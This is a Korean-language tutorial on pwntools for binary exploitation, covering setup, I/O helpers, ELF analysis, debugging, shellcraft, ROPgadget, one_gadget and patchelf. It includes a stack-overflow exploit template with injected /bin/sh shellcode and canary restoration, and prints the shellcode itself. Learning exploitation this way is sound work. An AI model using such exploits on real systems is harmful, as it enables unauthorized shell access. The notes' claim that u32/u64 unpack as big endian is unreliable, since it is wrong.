pwntool
- 시스템 해킹을 위해 제작된 파이썬 라이브러리
- 바이너리를 실행하고 특정 input을 집어넣어 해킹(exploit)을 할수 있게 한다.
설치
- 리눅스의 apt와 파이썬의 pip 명령으로 설치가 가능하다.
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
- 공식 메뉴얼
- docker를 사용한 설치 방법
FROM ubuntu:18.04 ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin" ENV LC_CTYPE=C.UTF-8 RUN apt update RUN apt install -y \ gcc \ git \ python3 \ python3-pip \ ruby \ sudo \ tmux \ vim \ wget # install pwndbg WORKDIR /root RUN git clone https://github.com/pwndbg/pwndbg WORKDIR /root/pwndbg RUN git checkout 2023.03.19 RUN ./setup.sh # install pwntools RUN pip3 install --upgrade pip RUN pip3 install pwntools # install one_gadget command RUN gem install one_gadget WORKDIR /root
에러 발생시 해결
partially initialized module 'pwndbg' has no attribute 'lib'
에러 발생시에는 쉘 명령어에export LANG=C.UTF-8
를 입력한다.
사용법
from pwn import *
을 통해 모듈을 로딩한다.
실행
- process / remote
target = process(파일경로)
- 로컬 파일을 exploit 하기위한 대상으로 설정한다.
env
인자를 추가하여 프로그램 동작시 적용될 환경변수를 설정할 수 있다.- 다음은 libc 파일을 원하는 경로에서 링킹 하도록 설정하는 구문이다. :
target = process('./a.out', env= {"LD_PRELOAD" : "./libc.so.6"})
- 다음은 libc 파일을 원하는 경로에서 링킹 하도록 설정하는 구문이다. :
target = remote('목적지 ip', 목적지 port)
- ip:port 에 연결된 소켓을 exploit target으로 설정한다.
- 원격으로 접속한 목적지의 파일을 exploit 할 때 사용한다.
데이터 송수신
send
target.send(b'data_to_send')
process
혹은remote
로 설정한 target 에 표준입력을 주입하는 함수b''
형태의 byte literal 을 전달해야 한다.p64
혹은p32
로 변환하여 전달 할 수도 있다.- send의 파생으로 sendline, sendafter, sendlineafter 등이 있다.
target.sendline(b'data')
: ‘data’ 전달 후 ‘\n’ 추가 입력target.sendlineafter(b'input:', b'data')
: 출력으로 ‘input:‘가 감지되면 target에 ‘data’를 입력
recv
- target으로 부터 들어오는 출력 데이터를 수신하는 함수. return 값은 byte literal 이므로
u64
혹은u32
로 변환 후 사용한다. result = target.recv(len)
: len만큼 데이터를 수신, len보다 길이가 짧으면 오류 반환- 파생으로 recvn, recvline, recvuntil, recvall 이 있다.
result = target.recvn(5)
: 5byte 데이터를 수신, 수신한 길이가 len보다 짧으면 무한 대기result = target.recvline()
: 개행문자를 만날 때 까지 데이터 수신result = target.recvuntil('name: ')
: “name: " 문자를 만날 때 까지 데이터 수신 (인자로 b’name’, ’name’ 모두 되는듯)result = target.recvall()
: 프로세스가 종료될 때 까지 데이터 수신
- target으로 부터 들어오는 출력 데이터를 수신하는 함수. return 값은 byte literal 이므로
packing / unpacking
- 데이터를 변환하는 함수
p32(VALUE)
: 32bit little endian으로 변환p64(VALUE)
: 64bit little endian으로 변환u32(VALUE)
: 32bit big endian으로 변환u64(VALUE)
: 64bit big endian으로 변환
interactive
- exploint 중 표준 입력/출력으로 프로세스에 직접 입력을 주입하고 출력을 확인하고 싶은 경우
target.interactive()
를 설정하면 ’target’ 에 직접 관여할 수 있다.
asm
asm(CODE)
형태로 CODE에 어셈블리 라인을 string 형태로 기입시 바이너리 코드를 반환한다.- ex)
asm('mov eax, SYS_execve')
=>b'\xb8\x0b\x00\x00\x00'
disasm
disasm(BIN)
형태로 BIN에 바이너리 데이터를 입력시 어셈블리 명령어를 반환한다.- ex)
disasm(b'\xb8\x0b\x00\x00\x00')
=>0: b8 0b 00 00 00 mov eax, 0xb'
실행파일 분석
- ELF
- ELF 파일 헤더를 참조할 때 사용 가능
elf = ELF(파일명)
형태로 참조하면 dictionary 형태의 데이터를 반환 받을 수 있다.elf.symbols[함수명]
: ’elf’ 가 라이브러리 파일일 때, 라이브러리 함수의offset
을 확인할 수 있다.elf.symbols[변수명]
: ’elf’ 가 실행프로그램일 때, 변수의주소
를 확인할 수 있다.
elf.plt[함수명]
: ’elf’ 가 실행프로그램일 때, plt 테이블에서 함수가 매핑된주소
를 확인할 수 있다.elf.got[함수명]
’elf’ 가 실행프로그램일 때, got 테이블에서 함수가 매핑된주소
를 확인할 수 있다.elf.search[문자열]
으로 ELF 에 저장된 문자열의 주소를 확인한다.
- context
- context.log_level
context.log_level
을 설정하여 디버깅을 위한 로그 레벨을 설정 할 수 있다.
- context.arch
- exploit 대상의 아키텍처에 대한 정보를 설정할 수 있다.
context.arch = "amd64"
형태로 설정i386
,arm
,mips
등을 설정 할 수 있다.
- context.log_level
디버깅
- pause
pause()
함수를 호출하여 진행상황을 일시 정지 할 수 있다. gdb 로 디버깅을 하기 위해 주로 사용한다.- gdb 명령어 중
gdb attach -p {PROCESS_ID}
를 참조하여 디버깅이 가능하다.
- gdb 명령어 중
- gdb.attach()
target = process(파일경로)
로 프로그램을 실행시켰다면gdb.attach(target)
명령으로 gdb를 연동시킬 수 있다.
예시
stack frame안의 버퍼와 canary를 획득한 경우, 버퍼에 shell 실행 코드를 주입하고 stack overflow로 return code를 버퍼의 주소로 변경한 후 canary를 복원시키면 쉘을 획득할 수 있다.
from pwn import * target = process(TARGET_PROGRAM) # 'canary' 는 추출해온 스택 카나리 값이 littel endian형태로 담겨있다. shell_code = asm(shellcraft.sh()) # pwn tool로 쉘 실행코드 생성 및 바이너리로 변환 payload = shell_code.ljust(buffer_to_canary, b'A') + canary + b'B' * 0x8 + p64(buffer_address) # 버퍼에 쉘 코드를 넣고, 남는 칸은 아무 문자로 메꾼다. 그 후 카나리를 잘 복원하고 SFP는 아무 숫자나 채워넣고 리턴 주소를 버퍼 주소로 덮어씀 # gets() receives input until '\n' is received target.sendlineafter(b'Input:', payload) # 타겟 프로그램에서 Input을 받아 'buffer_address' 주소에 받도록 프로그램이 짜여져 있다. target.interactive() # 쉘을 획득하고 쉘을 유저가 활용할 수 있게 반환한다.
기타 도구
checksec
- pwntool과 함께 설치되는 도구로, 바이너리에 적용되는 보호 기법(ex: RELRO, Canary, NX, PIE) 을 확인할 수 있다.
- ASLR은 리눅스에서 기본적으로 적용되어있으므로, 특별한 언급이 없다면 default on이라 생각하면 된다.
- ex)
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RWX: Has RWX segments
shellcraft
- pwntool과 함께 설치되는 파이썬 모듈로 쉘 코드의 함수들을 반환한다.
- 시스템 콜 테이블 참조
- shellcraft.sh() : 쉘 실행 코드
- shellcraft.open() : 쉘 코드 open(인자 필요)
- shellcraft.read() : 쉘 코드 read(인자 필요)
- shellcraft.write() : 쉘 코드 write(인자 필요)
- shellcraft.exit() : 쉘 코드 exit
- asm() 함수와 함께 조합하면 쉘코드를 바이너리로 만들어 프로그램에 주입할 수 있다.
- ex) shellcraft.sh() :
/* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
- ex) asm(shellcraft.sh()) :
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
- ex) shellcraft.sh() :
ROPgadget
- 바이너리에서 gadget 값들을 확인할 수 있는 툴이다.
- gadget들의 주소를 확인하여 exploit에 활용할 수 있다.
ROPgadget --binary FILE_NAME
을 입력하면 FILE_NAME 에서 gadget들을 찾아 출력 해 준다.- ex) ROPgadget –binary /bin/bash 의 일부이다.
0x000000000008b4fb : xor r9d, r9d ; jmp 0x8b46b 0x00000000000c0e30 : xor r9d, r9d ; jmp 0xc0c50 0x00000000000c7caa : xor r9d, r9d ; jmp 0xc7cb3 0x00000000000cc0ed : xor r9d, r9d ; jmp 0xcb089 0x000000000007f2a5 : xor r9d, r9d ; lea eax, [rdx + 1] ; jmp 0x7ef68 0x000000000006dc63 : xor r9d, r9d ; mov dword ptr [rbx], eax ; jmp 0x6cfd8 0x00000000000618ec : xor r9d, r9d ; movsxd rax, r14d ; jmp 0x61792 0x000000000006d9b4 : xor r9d, r9d ; xor r13d, r13d ; mov dword ptr [rbx], eax ; jmp 0x6cfd8 0x00000000000757b3 : xor rax, qword ptr [r8] ; add byte ptr [rdi + 2], bh ; jmp 0x78b80 0x00000000000558c2 : xor rax, rax ; test r13, r13 ; jne 0x558e4 ; jmp 0x558f1
--re REGULAR_EXPRESSION
옵션을 넣어 정규 표현식으로 결과를 필터링 할 수 있다. (|grep 한 것과 유사한 효과)- ex) ROPgadget –binary /bin/bash –re “pop rdi” 의 결과 일부
0x00000000000c5ac8 : pop rdi ; jmp rax 0x00000000000b9c04 : pop rdi ; jne 0xb9c42 ; jmp 0xb9ce1 0x00000000000bfc3a : pop rdi ; jne 0xbf8c3 ; jmp 0xbf8cb 0x000000000005ca25 : pop rdi ; jns 0x5ca34 ; add al, ch ; jb 0x5c9f0 ; add dword ptr [rax], eax ; jmp 0x5c77f 0x000000000005cadd : pop rdi ; or al, 0 ; mov rdx, qword ptr [rax + rcx] ; jmp 0x5c6c0 0x000000000005cffc : pop rdi ; or al, 0 ; xor ebx, ebx ; xor ebp, ebp ; jmp 0x5d014 0x000000000007542d : pop rdi ; out dx, eax ; or al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x752f8 0x00000000000a69fc : pop rdi ; pop r8 ; jmp 0xa5ca0 0x00000000000665ca : pop rdi ; pop rbp ; ret 0x0000000000030934 : pop rdi ; ret 0x00000000000aca60 : pop rdi ; sete dl ; or eax, edx ; movzx ebp, al ; jmp 0xac482 0x00000000000ba113 : pop rdi ; sete sil ; or edx, esi ; jmp 0xb9eda 0x00000000000b5690 : pop rdi ; xor ecx, ecx ; jmp 0xb56be 0x00000000000493b2 : pop rsi ; pop rdi ; jmp 0x48b7d 0x00000000000a6ca9 : pop rsi ; pop rdi ; jmp 0xa5ca0 0x0000000000070836 : push rsi ; pop rdi ; add al, 0 ; jmp 0x705f1 0x0000000000073205 : shr al, 5 ; pop rdi ; add dword ptr [rax], eax ; mov r13, rax ; jmp 0x72db8 0x00000000000707e1 : stosd dword ptr [rdi], eax ; pop rdi ; add al, 0 ; jmp 0x7043d
- ex) ROPgadget –binary /bin/bash –re “pop rdi” 의 결과 일부
One_gadget
- exploit 에 필요한
gadget
들을 일일이 찾거나,objdump
,readelf
등으로 매번 함수들을 찾지 않고 명령어 한 번으로 libc 라이브러리에서 execve("/bin/sh”) 를 실행 시킬 수 있도록 하는 gadget 을 알려주는 툴이다. - 다음 명령어로 설치가 가능하다.
sudo apt-get install ruby sudo gem install one_gadget
Patchelf
바이너리가 동적 라이브러리를 참조하는 경로를 변경할 수 있는 툴이다.
apt-get install patchelf
명령어로 설치가 가능하다.patchelf --set-interpreter 라이브러리 실행파일
: ‘실행파일’ 실행시 ‘라이브러리’ 파일을 동적링크로 적용하도록 세팅한다.gdb 실행파일
명령으로 gdb를 실행한 후,vmmap
명령으로 메모리 레이아웃을 확인했을 때, 위에서 지정한 ‘라이브러리’ 파일이 표시되면 정상 적용 된 것
patchelf --replace-needed {원본_라이브러리} {대체_라이브러리} {실행파일}
명령으로 이미 주입된 라이브러리 의존성을 변경 가능하다.만약 patchelf 를 적용한 이후 실행 파일 실행 시 permission denied 오류가 발생한다면, 라이브러리에 실행 권한이 적용되어있는지 확인 해 본다.
chmod a+x {라이브러리_파일}
명령으로 실행 권한 추가가 필요하다.